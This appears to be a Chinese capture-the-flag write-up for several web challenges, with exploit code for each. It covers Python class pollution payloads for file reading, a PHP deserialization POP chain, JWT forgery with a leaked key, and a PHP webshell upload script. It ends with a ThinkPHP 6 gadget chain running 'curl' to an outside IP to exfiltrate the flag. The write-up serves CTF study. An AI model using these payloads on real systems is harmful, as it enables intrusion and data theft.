Po11uti0n~~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import uuid
from flask import Flask, request, session
from secret import black_list
import json


'''
@Author: hey
@message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def cannot_be_bypassed(data):
for i in black_list:
if i in data:
return False
return True

def magicallllll(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
magicallllll(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
magicallllll(value,getattr(dst, key))
else:
setattr(dst, key, value)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/user/register',methods=['POST'])
def register():
if request.data:
try:
if not cannot_be_bypassed(request.data):
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
User = user()
magicallllll(data, User)
Users.append(User)
except Exception:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
return "Congratulations,The username and password is correct,Register Success!!!"
else:
return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

@app.route('/user/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
for user in Users:
if user.cannot_be_bypassed(data):
session["username"] = data["username"]
return "Congratulations,The username and password is correct,Login Success!!!"
except Exception:
return "The username or password is incorrect,Login Failed,Please log in again!!!"
return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)

magicallllll用法和merge函数一样 同样可以利用其进行污染,通过file将其输出到根路由

法一

payload

1
{"username":"abc","password":"123","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}}}

image-20241112182502376

1
{"username":"abc","password":"123","\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f":{"\u0063\u0068\u0065\u0063\u006b":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"\u002f\u0070\u0072\u006f\u0063\u002f\u0031\u002f\u0065\u006e\u0076\u0069\u0072\u006f\u006e"}}}}

image-20241112184558245

法二

1
{"username":"ten","password":"123456","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}

unicode

1
{"username":"ten","password":"123456","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}}}}

访问/static/xxx就可以任意文件下载

image-20241112183804158

ezzz_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}

image-20241112185448335

array_walk

对数组中的每一个元素应用用户所自定义的函数

1
2
3
4
5
6
7
<?php
function myfunc($value,$key){
echo $key;
echo $value;
}
$a = array("a"=>"two","b"=>"one");
array_walk($a,"myfunc");

image-20241112185655901

单拎出来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);

class E{
public $e;
public function print(){
array_walk($this, function ($Monday, $Tuesday) {
echo "Monday => ".$Monday." | ";
echo "Tuesday => ".$Tuesday." | ";
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}


$a = new E();
$a->e = "123";
$a->aaaa = "321";
$a->print();
1
Monday => 123 | Tuesday => e | Monday => 321 | Tuesday => aaaa | 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);

class E{
public $e;
public function print(){
array_walk($this, function ($Monday, $Tuesday) {
echo "Monday => ".$Monday." | ";
echo "Tuesday => ".$Tuesday." | ";
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}


$a = new E();
$a->e = "123";
$a->aaaa = "321";
$a->aaaaaaaaaaaaa= "123123123123";
$a->print();
1
Monday => 123 | Tuesday => e | Monday => 321 | Tuesday => aaaa | Monday => 123123123123 | Tuesday => aaaaaaaaaaaaa | 

并且看到$Wednesday = new $Tuesday($Monday);可以考虑用原生类

image-20241112192329889

然后考虑构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php

error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple; //4 Sakura
}
public function __toString()
{
$new = $this -> strawberry;
return $new(); //3 Heraclqs
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){ //1 shell
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey; //2 E
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}


链子

1
E::__get->Heraclqs::__invoke->Sakura::__toString->Sakura::__destruct

双md5绕过

image-20241112191326134

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import itertools
import string

charset = string.digits+string.ascii_letters
temp = itertools.permutations(charset,3)
#爆破字符
ss = "123"
for i in temp:
value = "".join(i)
hash1 = hashlib.md5(value.encode()).hexdigest()
result = hashlib.md5(hash1.encode()).hexdigest()
if result[:3] == ss and result[3].isdigit() != True:
print(value)
print(result)

image-20241112191420252

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
1xE
123f91c054f21245ea0130c353cd268d
2tL
123efb30143bdfb734dbbca564d3b6c1
3lD
123bd5b684441a96f13ca9a84f27d85f
4Cs
123c4401f5e69ce636d84ba65e212d25
5nb
123b7f57292d091179acf104fb06fc46
8UF
123c73c352eb60ee0490d18cca679540
aW8
123ac960c0aeec921c78090612c97792
dY1
123be54b97522800b12460c054fbaaa2
esW
123d421d8e8cf3c6b510faafac4d6955
f0w
123b5b3e178d13229daa030ec761faeb
fpr
123a27f6b4365c6f2bf233ddbcf123c2
i2x
123b0c2ad09dcb72b1c741484302d617
jA4
123f275f3f51e568bb6b8e64aa915a96
l4c
123d2bea9174185c248e00ae5e3964ae
msj
123b8afe511deaebe3b6a09c46e79c5c
ouK
123f96770a22200a03d8390c9e5c5c99
v94
123ddcb3300a8c491c0b69437f30ea9c
x3Q
123e7c842bda99116a60ba21b2c8b8a4
za4
123be3a1e076a7733fd30d38b871c6aa
Bp7
123d12764c8b04ef2ef4e93cb99a2736
BsC
123a11415281d8580d04114c06b035d5
Cit
123b2893b87693cbf2a28e1154581930
F1J
123b443033f1f334cafc6dcdd18b906a
GJN
123e54b9d1c075c47c70ad37046adeac
Iyf
123cbc83ec3ea74e9ea169ff73a9f519
OgK
123fca0fb7f20f37ca89ffd0017676ca
V0E
123cef7793b532a38a5d9f07757045fe
X02
123caf12b42087246001ea5c15ee6369
XGd
123eb3bda6e069dd94ab06685a295ca9

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Sakura{
public $apple;//4 Sakura
public $strawberry;//3 Heraclqs

}

class E{
public $e;//1 shell
}

class Heraclqs{
public $grape;//2 E
public $blueberry;
}


$a = new Sakura();
$a->apple = new Sakura();
$a->apple->strawberry = new Heraclqs();
$a->apple->strawberry->blueberry = "OgK";
$a->apple->strawberry->grape = new E();
$a->apple->strawberry->grape->DirectoryIterator = "/";

echo serialize($a);

image-20241112192410122

然后用SplFileObject读取文件内容

image-20241112192534277

理想国

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Your wisdom is not sufficient to be called a sage"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
},
"404": {
"description": "File not found"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}

看到几个路由

image-20241112192858650

search路由可以通过get读取文件

image-20241112193615514

直接访问显示Invalid token,注册一个用户登陆后获取token再访问

image-20241112193801635

image-20241112194009839

image-20241112194033469

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated

def check(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == "Plato" and payload['password'] == "ideal_state":
return func(*args, **kwargs)
else:
return 'You are not a sage. You cannot enter the ideal state.', 401
except:
return 'Something error?', 500
return decorated

@app.route('/', methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
flag = os.popen("/readflag").read()
return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
if username == "Plato":
return 'Your wisdom is not sufficient to be called a sage.', 401
password = request.json['password']
User.setUser(username, password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
if request.args.get('file'):
try:
with open(request.args.get('file'), 'r') as file:
data = file.read()
return render_template_string(data)

except FileNotFoundError:
return 'File not found', 404
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?', 500
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username = "admin"
self.password = "password"
self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0', port=8080)

jwt伪造,先找找key

image-20241112194304461

1
SECRET_KEY=B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r

image-20241112194423176

image-20241112194429634

1
if payload['username'] == "Plato" and payload['password'] == "ideal_state":

伪造jwt访问路由即可

image-20241112194721514

image-20241112194759206

PermissionDenied

file_put_content漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

1
file=@<(echo <?php eval($_POST[0]);phpinfo();?>);filename=123.php	
1
2
3
4
5
6
7
8
9
import requests

url = "http://node5.anna.nssctf.cn:24086/"
file = {
"file":("123.php%2f.","<?php eval($_POST[0]);phpinfo();?>")
}
res = requests.post(url=url,files=file).text
print(res)

image-20241112195747137

flag查看不了

image-20241112195828986

发现函数被禁用了

image-20241112195945763

插件绕过

image-20241112200030134

image-20241112200304711

CMS直接拿下

扫描发现www.zip

Api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
namespace app\controller;

use app\model\AdminUser;
use app\model\Datas;
use app\model\Student;
use app\validate\User;
use think\exception\ValidateException;
use think\facade\Db;
use think\facade\Session;
use think\Request;

class Api{
public function login(Request $request)
{
$post = $request->post();

try{
validate(User::class)->check($post);
}
catch (ValidateException $e) {
return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
}
$data = AdminUser::where('username',$post['username'])->findOrEmpty();

if(!$data->isEmpty() && $data['password'] === $post['password']){
$userinfo = [
"id"=>$data['id'],
"username"=>$data['username'],
"password"=>$data['password'],
];
Session::set('userinfo',$userinfo);
return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
}
else{
return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
}
}
public function logout()
{
// 退个屁,不对接前端了
Session::delete('userinfo');
return redirect('/admin/login');
}
public function list(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else {
$db = new Datas;
$page = $request->get('page',1);
$limit = $request->get('limit',10);
$where = [];
$datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
$count = $db->where($where)->count();

$lists = [];
foreach ($datas as $data){
$data = unserialize($data['serialize']);
$lists[] = [
"id" => $data->id,
"name" => $data->name,
"score1" => $data->score1,
"score2" => $data->score2,
"score3" => $data->score3,
"average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
}
}
public function update(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$data = $request->post('data');
// if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
// return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
// }
// 随便吧,无所谓了,不想再编程下去了
$db = new Datas;
$result = $db->save(['serialize'=>$data]);

return json(["code"=>200,"msg"=>"修改成功"]);
}
}

// 不想再编程下去了,直接丢一个序列化的接口,省事
public function seria(Request $request)
{
$userinfo = Session::get('userinfo');
if(is_null($userinfo)){
return redirect('/admin/login');
}
else{
$seria = serialize(new Student(
$request->post('id',2),
$request->post('name','李四'),
$request->post('score1',91),
$request->post('score2',92),
$request->post('score3',93)
));
return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
}
}
public function users()
{
$db = new AdminUser;
$datas = $db->select();
return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}
// public function add()
// {
// $userinfo = Session::get('userinfo');
// if(is_null($userinfo)){
// return redirect('/admin/login');
// }
// $db = new Datas;
// $seria = serialize(new Student(3,'王五',94,100,100));
// $data = ['serialize'=>$seria];
// $result = $db->allowField(['serialize'])->save($data);
// }
// public function test(Request $request)
// {
// $post = $request->post();
//
// unserialize($post['payload']);
// }
}

list路由出现反序列化

image-20241113081758801

image-20241113081804204

seria路由出现序列化,但是数据是写死的

image-20241113081842625

update路由写入数据库了

image-20241113081942190

检查了userinfo但是这里没有注册路由

user路由执行了sql,存在用户泄露

image-20241113082245899

1
{"code":0,"data":[{"id":1,"username":"jlkasdjljlkdaj","password":"kljewjklq123","createtime":"2024-02-24 23:48:25"}],"msg":"获取成功"}

登录

image-20241113082556658

修改数据后抓包

image-20241113082839711

image-20241113082908142

链子有现成的直接拿

ThinkPHP v6.0.x反序列化漏洞复现与分析_thinkphp v6.0.9漏洞-CSDN博客

无回显就curl外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
private $data = ["yiyi" => "curl http://45.207.197.131:8989/ -d `cat /flag`"];
private $withAttr = ["yiyi" => "system"];
}

namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';

}

namespace think\model;
use think\Model;

class Pivot extends Model
{
function __construct($obj = '')
{
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));


发包后刷新成绩页面

image-20241113083624432

image-20241113083632540